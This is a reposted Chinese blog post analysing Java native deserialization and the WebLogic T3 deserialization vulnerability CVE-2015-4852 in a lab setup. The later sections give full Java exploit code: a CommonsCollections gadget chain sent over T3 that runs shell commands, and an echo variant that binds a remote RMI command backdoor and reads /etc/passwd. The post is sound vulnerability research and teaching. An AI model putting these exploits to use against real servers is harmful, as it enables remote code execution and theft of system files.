0


Javaweb安全——Weblogic反序列化漏洞(一)

从原生反序列化过程开始谈起。

原生反序列化

序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。

大致是这么一个过程,简单画了个图:

image-20221107005234113

测试类如下:

packageser;importjava.io.*;publicclassTestClassimplementsSerializable{privateString text;publicTestClass(){this.text ="hello world";}privatevoidreadObject(ObjectInputStream ois)throwsException{System.out.println("serializing......");
        ois.defaultReadObject();System.out.println("Done");System.out.println(this.text);}publicstaticvoidmain(String[] args)throwsIOException,ClassNotFoundException{TestClassClass=newTestClass();ObjectOutputStream oos =newObjectOutputStream(newFileOutputStream("C:\\Users\\aaa\\Documents\\GitHub\\zkar\\o.ser"));
        oos.writeObject(Class);
        oos.close();ObjectInputStream ois =newObjectInputStream(newFileInputStream("C:\\Users\\aaa\\Documents\\GitHub\\zkar\\o.ser"));
        ois.readObject();}}

生成的序列化文件内容如下:

image-20221107011321042

使用zkar查看序列化文件结构。

zkar安装

go env -w GO111MODULE=on
go mod init zkar
go env -w GOPROXY=https://goproxy.cn
go get -u github.com/phith0n/zkar

或者直接下载https://github.com/phith0n/zkar项目使用

go run main.go dump -f "o.ser"

image-20221109140536868

  • STREAM_MAGIC - 0xac ed是魔数,代表了序列化的格式;
  • STREAM_VERSION - 0x00 05表示序列化的版本;
  • Contents表示最终生成的序列的内容;
  • TC_OBJECT - 0x73表示序列化一个新类的开始标记;
  • TC_CLASSDESC - 0x72表示一个新非代理类的描述信息开始标记;
  • classDescFlags - 0x02 - SC_SERIALIZABLE表示类描述信息标记为SC_SERIALIZABLE,代表在序列化的时候使用的是java.io.Serializable
  • 详情查阅:https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html

接下来就是一些属性的信息了,直接调试一下看看过程,主要是针对重写

readObject

方法以及非代理对象的情况。

image-20221109141827976

java.io.ObjectInputStream#readObject0

,这个判断就是反序列化的类型分支。

image-20221109141852588

跟进

java.io.ObjectInputStream#readOrdinaryObject

方法,这里先调用readClassDesc方法去读取序列化中的ObjectStreamClass

image-20221109141949601

java.io.ObjectInputStream#readClassDesc

中也会跟据对象类型做判断,这里是非代理对象。

image-20221109142215087

java.io.ObjectInputStream#readNonProxyDesc

在这里进行类加载,然后

desc.initNonProxy

利用刚才解析出来的readDesc做一个校验并将desc初始化。

image-20221109144505663

resolveClass

方法就是真正进行类加载的地方,在Shiro里面

resolveClass

方法被进行了重写,导致大部分利用链失效。该方法根据ObjectStreamClass里边存储的解析出来的Class路径,从本地加载该路径。(如果要反序列化本地不存在的类就需要继承ObjectInputStream,然后重写resolveClass方法,参考:Java反序列化本地不存在的类 - 简书 (jianshu.com))

image-20221109161427501

如果不存在该类则会报错ClassNotFound

image-20221109161250714

现在回到

java.io.ObjectInputStream#readOrdinaryObject

,调用

ObjectStreamClass.newInstance()

生成了一个空的目标对象。

ObjectStreamClass.newInstance()

底层调用了是刚才加载出来的Class的构造方法。

image-20221109163951261

接着去填充对象里面字段的数据

image-20221109144528518

image-20221109144552030

java.io.ObjectInputStream#readSerialData

方法,这里

slotDesc.hasReadObjectMethod()

会判断是否重写了

readObject

方法。

image-20221109150101008

如果重写就通过

slotDesc.invokeReadObject

调用重写的

readObject

方法,没有则会使用默认的

defaultReadFields

方法设置属性。

image-20221109150131649

image-20221109150157346

通常在重写的

readObject

方法都会调用

java.io.ObjectInputStream#defaultReadObject

,该方法也会去调用默认的

defaultReadFields

方法设置属性。

image-20221109150215603

java.io.ObjectInputStream#defaultReadFields

当中会对属性对象进行递归调用其

readObject0

方法完成反序列化。

image-20221109150231407

image-20221109150248917

完整的执行过程如下:

浅析Java序列化和反序列化

ObjectInputStream

实例初始化时,读取魔术头和版本号进行校验

调用

ObjectInputStream.readObject()

开始读对象数据

  • 读取对象类型标识
  • readOrdinaryObject()读取数据对象 - readClassDesc()读取类描述数据 - 读取类描述符标识,进入分支readNonProxyDesc()- 读取类名- 读取SUID- 读取并分解序列化属性标志位- 读取字段信息数据- resolveClass()根据类名获取待反序列化的类的Class对象,如果获取失败,则抛出ClassNotFoundException- skipCustomData()循环读取字节直到Block Data结束标识为止- 读取父类描述数据- initNonProxy()中判断对象与本地对象的SUID和类名 (不含包名) 是否相同,若不同,则抛出InvalidClassException- ObjectStreamClass.newInstance()获取并调用离对象最近的非Serializable的父类的无参构造方法 (若不存在,则返回null 创建对象实例- readSerialData()读取对象的序列化数据 - 若类自定义了readObject(),则调用该方法读对象,否则调用defaultReadFields()读取并填充对象的字段数据

与Json反序列化的差别

从上面的过程中可以看到Java 原生反序列化不使用构造函数来创建对象——而是通过反射加载字段。

image-20221109171442324

而Json反序列化是在反序列化的过程中调用类属性的

setter/getter

方法,将JSON字符串还原成对象。如Fastjson中的处理。

image-20221109172530599

Weblogic反序列化漏洞

从攻击RMI的原理已知所有的对象都是通过Java序列化(

客户端序列化,服务端反序列化

)传输的,那就会有readObject操作。

image-20221206003246954

Weblogic反序列化漏洞的攻击方式大多是通过替换RMI通信过程中数据包的序列化数据部分。

image-20221206002023333

下面先简单了解一下weblogic RMI的特点。

weblogic RMI

WebLogic RMI就是WebLogic对Java RMI(远程方法调用)的实现,都需要使用JNDI去调用RMI Client 去绑定RMI Server

image-20221206003147818

image-20221206003206002

由于对weblogic反序列化的攻击通常使用T3协议,所以还需简单了解一下T3数据包的格式。

T3协议

T3 协议是 Weblogic RMI 调用时的通信协议,使用一个简易的t3握手脚本

#python3#coding:utf-8import socket
import sys
import struct

# 传入目标IP和端口
server_address =("192.168.106.129",7001)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(server_address)# 发送握手包
handshake='t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n'print('sending "%s"'% handshake)
sock.sendall(handshake.encode())
data = sock.recv(1024)print('received "%s"'% data)

image-20221206003730283

image-20221206003740974

发送的数据就是一个请求头,返回包HELO后面的内容则是被攻击方的weblogic版本号

image-20221206003858434

漏洞复现

环境搭建

选择你想要的版本比如本文使用:weblogic1036+jdk7u21

下载完后修改一下Dockerfile文件,加上这几行以完成image构建:

# 解决libnsl包丢失的问题
RUN cd /etc/yum.repos.d/
RUN sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-*
RUN sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-*
RUN yum clean all
RUN yum makecache
RUN yum -y install libnsl

还需要修改一下拷贝依赖包的部分,加上一行:

dockercp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./middleware

容器内weblogic的错误日志位于

/u01/app/oracle/Domains/ExampleSilentWTDomain/servers/AdminServer/logs/AdminServer.log

运行对应的sh脚本文件即可起一个docker文件,脚本最后会将一些weblogic的依赖Jar包给导出来进行远程调试。

image-20221211023109869

idea打开wlserver文件夹添加server\lib、modules、lib到idea依赖中,注意jdk版本要和远程服务端一致,并配置远程调试参数。

image-20221211022853596

-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8453

image-20221110011151514

CVE-2015-4852

基于T3协议,利用链为CommonsCollections。

image-20221110012730472

  • 作用位置
weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStreamweblogic.rjvm.MsgAbbrevInputStream.classweblogic.iiop.Utils.class

补丁是改写了

InboundMsgAbbrev.ServerChannelInputStream

等类的

resolveClass

做了如下黑名单:

org.apache.commons.collections.functors**
com.sun.org.apache.xalan.internal.xsltc.trax**
javassist**org.codehaus.groovy.runtime.ConvertedClosureorg.codehaus.groovy.runtime.ConversionHandlerorg.codehaus.groovy.runtime.MethodClosure

使用21superman师傅的漏洞利用工具打一个攻击包进行调试。

image-20221110011335635

先看一下weblogic的反序列化流程,与原生反序列化就多了个开头以及结尾

resolveClass

方法不一样。

image-20221110011645377

weblogic.rjvm.InboundMsgAbbrev#readObject

新建了一个内部类

InboundMsgAbbrev$ServerChannelInputStream

readObject

方法

image-20221110001419646

该类继承

ObjectInputStream

类,但并没有重写

readObject

方法所以调用的还是

java.io.ObjectInputStream#readObject

流程也是和原生反序列化基本一致的。

image-20221110003928832

但该类重写了

resolveClass

方法,不过在方法的最开始还是会调用父类的

resolveClass

方法,也没做任何的校验。

image-20221110004139884

上面原生反序列化的过程中提到真正加载类的地方就是在

resolveClass

方法,如果报错则反序列化失败,所以反序列化的防护主要都是在此位置,weblogic的反序列化修复其实就是在resolveClass位置加了一层黑名单控制。

image-20221110004301666

exp编写

抓包上面的攻击流量可见一个握手包之后 接着就是t3协议头加上序列化内容

image-20221209201334480

很明显的反序列化头数据

image-20221209201448196

读取协议头的函数为

com.bea.core.weblogic.rmi.client_1.11.0.0.jar! weblogic.rjvm.JVMMessage#readHeader

image-20221211023717684
字段含义cmd本次请求的类型flags标志位responseId标识每条流的请求顺序invokeableId响应处理程序的idabbrevOffset相对于开始部分的偏移
详细解释以及t3协议处理逻辑可参考:Weblogic T3协议解析以及T3内存马

先看一下利用工具发送t3数据包的代码,可见使用socket发送,先发送一个握手包,再发送payload数据包。开始的部分为t3协议头然后拼接上序列化payload。

image-20221210214652590

最后计算整个数据包的长度,添加到最前面部分

image-20221210214516369

payload通常有两种生成方式:

  • 将正常weblogic发送的JAVA序列化数据的第二到七部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
  • 直接在正常数据的第一部分之后拼接恶意序列化数据。

为了方便选择第二种方法,使用socket发送数据,执行创建文件的命令。

packageWeblogic;importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.map.LazyMap;importjava.io.*;importjava.lang.annotation.Retention;importjava.lang.reflect.Constructor;importjava.lang.reflect.InvocationHandler;importjava.lang.reflect.Proxy;importjava.net.Socket;importjava.util.HashMap;importjava.util.Map;publicclassT3Handshake{publicstaticvoidmain(String[] args)throwsException{// 创建与服务器的连接Socket socket =newSocket("192.168.106.129",7001);// 获取输出流OutputStream outputStream = socket.getOutputStream();
        outputStream.flush();// 发送握手请求消息// t3协议的握手请求头byte[] handshakeRequest ="t3 12.2.3\nAS:01\nHL:19\nMS:10000000\n\n".getBytes();
        outputStream.write(handshakeRequest);// 发送通信消息,即payload
        outputStream.write(createPayload());
        socket.close();}privatestaticbyte[]createPayload()throwsException{String header ="00000000";String t3header ="016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006";String destFlag ="fe010000";//weblogic反序列化标志StringBuilder datas =newStringBuilder();
        datas.append(header).append(t3header).append(destFlag);//合并t3协议头和payload部分ByteArrayOutputStream outputStream =newByteArrayOutputStream();
        outputStream.write(hexStringToBytes(datas.toString()));
        outputStream.write(Payload("touch /arnoldqqq.txt"));return outputStream.toByteArray();}publicstaticfinalbyte[]Payload(String cmd)throwsException{Transformer[] transformers =newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{cmd,}),newConstantTransformer(1)};Transformer transformerChain =newChainedTransformer(transformers);Map innerMap =newHashMap();
        innerMap.put("value","xxxx");Map outerMap =LazyMap.decorate(innerMap, transformerChain);Class clazz =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
        construct.setAccessible(true);InvocationHandler handler =(InvocationHandler) construct.newInstance(Retention.class, outerMap);Map proxyMap =(Map)Proxy.newProxyInstance(Map.class.getClassLoader(),newClass[]{Map.class}, handler);
        handler =(InvocationHandler) construct.newInstance(Retention.class, proxyMap);ByteArrayOutputStream barr =newByteArrayOutputStream();ObjectOutputStream oos =newObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();return barr.toByteArray();}publicstaticbyte[]hexStringToBytes(String hexString){if(hexString ==null|| hexString.equals("")){returnnull;}
        hexString = hexString.toUpperCase();int length = hexString.length()/2;char[] hexChars = hexString.toCharArray();byte[] d =newbyte[length];for(int i =0; i < length; i++){int pos = i *2;
            d[i]=(byte)(charToByte(hexChars[pos])<<4|charToByte(hexChars[pos +1]));}return d;}privatestaticbytecharToByte(char c){return(byte)"0123456789ABCDEF".indexOf(c);}}

header字符串那是需要填数据包的长度,但直接全0,在weblogic1036+jdk7u21环境下是可以成功执行命令的。

image-20221210001449494

image-20221210002133534

命令回显

参照这篇文章的实现方式:https://xz.aliyun.com/t/7228#toc-5

通过在服务器定义一个远程RMI接口,执行远程方法,并返回结果。

具体实现通过commoncollection3反序列化调用ClassLoader,根据字节码来自定义一个RMI接口类,在类实现的方法中返回命令执行的结果。

实现的RMI接口为:

  • weblogic.cluster.singleton.ClusterMasterRemote
ClusterMasterRemote

这个类位于wlfullclient.jar中,利用之前导出的jar包wlserver/server/lib/wljarbuilder.jar 去生成即可。

java-jar wljarbuilder.jar

image-20221211025237729

写一个简单的恶意类,仅能执行命令回显:

packageweblogic_cmd;importcom.sun.org.apache.xalan.internal.xsltc.DOM;importcom.sun.org.apache.xalan.internal.xsltc.TransletException;importcom.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;importcom.sun.org.apache.xml.internal.dtm.DTMAxisIterator;importcom.sun.org.apache.xml.internal.serializer.SerializationHandler;importweblogic.cluster.singleton.ClusterMasterRemote;importjavax.naming.Context;importjavax.naming.InitialContext;importjava.io.InputStream;importjava.rmi.RemoteException;publicclass shell extendsAbstractTransletimplementsClusterMasterRemote{static{try{Context ctx =newInitialContext();
            ctx.rebind("test",newshell());}catch(Exception e){}}@OverridepublicvoidsetServerLocation(String path,String text)throwsRemoteException{}//执行命令@OverridepublicStringgetServerLocation(String cmd)throwsRemoteException{try{String[] cmds =newString[]{"/bin/bash","-c", cmd};InputStream in =Runtime.getRuntime().exec(cmds).getInputStream();Thread.sleep(100);byte[] bytes =newbyte[1024];int len =0;StringBuilder result =newStringBuilder();while(in.available()>0){
                len = in.read(bytes);
                result.append(newString(bytes,0, len,"UTF-8")).append("\n");;}return result.toString();}catch(Exception e){}returnnull;}@Overridepublicvoidtransform(DOM document,SerializationHandler[] handlers)throwsTransletException{}@Overridepublicvoidtransform(DOM document,DTMAxisIterator iterator,SerializationHandler handler)throwsTransletException{}}

最终的脚本如下,与上面的相比多了计算数据包长度,为了加载字节码payload生成换成了CC3的链子:

packageweblogic_cmd;importcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;importcom.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;importcom.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;importjavassist.ClassPool;importjavassist.CtClass;importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InstantiateTransformer;importorg.apache.commons.collections.map.LazyMap;importweblogic.cluster.singleton.ClusterMasterRemote;importweblogic.jndi.Environment;importjavax.naming.Context;importjavax.xml.transform.Templates;importjava.io.ByteArrayOutputStream;importjava.io.ObjectOutputStream;importjava.io.OutputStream;importjava.lang.annotation.Retention;importjava.lang.reflect.Constructor;importjava.lang.reflect.Field;importjava.lang.reflect.InvocationHandler;importjava.lang.reflect.Proxy;importjava.net.Socket;importjava.util.HashMap;importjava.util.Map;publicclassEchoVul{publicstaticvoidmain(String[] args)throwsException{// 创建与服务器的连接Socket socket =newSocket("192.168.106.129",7001);// 获取输出流OutputStream outputStream = socket.getOutputStream();
        outputStream.flush();// 发送握手请求消息// t3协议的握手请求头byte[] handshakeRequest ="t3 12.2.3\nAS:01\nHL:19\nMS:10000000\n\n".getBytes();
        outputStream.write(handshakeRequest);// 发送通信消息,即payload
        outputStream.write(createPayload("weblogic_cmd.shell"));
        outputStream.flush();
        socket.close();Environment environment =newEnvironment();
        environment.setProviderUrl("t3://192.168.106.129:7001");
        environment.setEnableServerAffinity(false);Context context = environment.getInitialContext();ClusterMasterRemote remote =(ClusterMasterRemote) context.lookup("test");// 调用RMI实例执行命令String res = remote.getServerLocation("cat /etc/passwd");System.out.println(res);}privatestaticbyte[]createPayload(String className)throwsException{String t3header ="016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006";String destFlag ="fe010000";//weblogic反序列化标志StringBuilder datas =newStringBuilder();
        datas.append(t3header).append(destFlag);//生成payload并计算包长度,生成数据包头byte[] payload =Payload(className);String hexLen =Integer.toHexString(hexStringToBytes(datas.toString()).length+4+payload.length);StringBuilder dataLen =newStringBuilder();
        dataLen.append(newString(newchar[8- hexLen.length()]).replace("\0","0")).append(hexLen);//合并t3协议头和payload部分ByteArrayOutputStream outputStream =newByteArrayOutputStream();
        outputStream.write(hexStringToBytes(dataLen + datas.toString()));
        outputStream.write(payload);return outputStream.toByteArray();}privatestaticbyte[]Payload(String className)throwsException{ClassPool pool =ClassPool.getDefault();CtClass clazzz = pool.get(className);byte[] code = clazzz.toBytecode();TemplatesImpl templatesImpl =newTemplatesImpl();setFieldValue(templatesImpl,"_bytecodes",newbyte[][]{code});setFieldValue(templatesImpl,"_name","test");setFieldValue(templatesImpl,"_tfactory",newTransformerFactoryImpl());Transformer[] transformers =newTransformer[]{newConstantTransformer(TrAXFilter.class),newInstantiateTransformer(newClass[]{Templates.class},newObject[]{ templatesImpl }),};//包装innerMap,回调TransformedMap.decorate//防止payload生成过程中触发,先放进去一个空的TransformTransformer[] fakeTransformers =newTransformer[]{newConstantTransformer(1)};Transformer transformerChain =newChainedTransformer(fakeTransformers);Map innerMap =newHashMap();
        innerMap.put("value","xxxx");Map outerMap =LazyMap.decorate(innerMap, transformerChain);//通过反射将真正的恶意Transform放进去setFieldValue(transformerChain,"iTransformers", transformers);Class clazz =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
        construct.setAccessible(true);InvocationHandler handler =(InvocationHandler) construct.newInstance(Retention.class, outerMap);Map proxyMap =(Map)Proxy.newProxyInstance(Map.class.getClassLoader(),newClass[]{Map.class}, handler);//用AnnotationInvocationHandler对proxyMap进行包裹
        handler =(InvocationHandler) construct.newInstance(Retention.class, proxyMap);//生成序列化数据ByteArrayOutputStream barr =newByteArrayOutputStream();ObjectOutputStream oos =newObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();return barr.toByteArray();}publicstaticbyte[]hexStringToBytes(String hexString){if(hexString ==null|| hexString.equals("")){returnnull;}
        hexString = hexString.toUpperCase();int length = hexString.length()/2;char[] hexChars = hexString.toCharArray();byte[] d =newbyte[length];for(int i =0; i < length; i++){int pos = i *2;
            d[i]=(byte)(charToByte(hexChars[pos])<<4|charToByte(hexChars[pos +1]));}return d;}privatestaticbytecharToByte(char c){return(byte)"0123456789ABCDEF".indexOf(c);}publicstaticvoidsetFieldValue(Object obj,String fieldName,Object value)throwsException{Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);}}

image-20221211212849168

利用工具的shell还有上传和解绑功能,而且验证逻辑中在发送payload后进行延时,猜测是防止绑定的时候还没注册完成导致绑定失败。

image-20221211213309237

image-20221211213347928

参考

https://xz.aliyun.com/t/3847

http://xxlegend.com/2018/06/20/%E5%85%88%E7%9F%A5%E8%AE%AE%E9%A2%98%20Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AE%9E%E6%88%98%20%E8%A7%A3%E8%AF%BB/

https://docs.oracle.com/middleware/11119/wls/WLRMI/rmi_imp.htm#g1000014983

https://gitee.com/wangnfc/weblogic_exploit

https://mp.weixin.qq.com/s/Aliyq0aLJEQt5SRqaYbnrQ

https://xz.aliyun.com/t/11087

https://www.modb.pro/db/466477

https://xz.aliyun.com/t/7228

标签: java web安全 安全

本文转载自: https://blog.csdn.net/weixin_43610673/article/details/128279822
版权归原作者 Arnoldqqq 所有, 如有侵权,请联系我们删除。

“Javaweb安全——Weblogic反序列化漏洞(一)”的评论:

还没有评论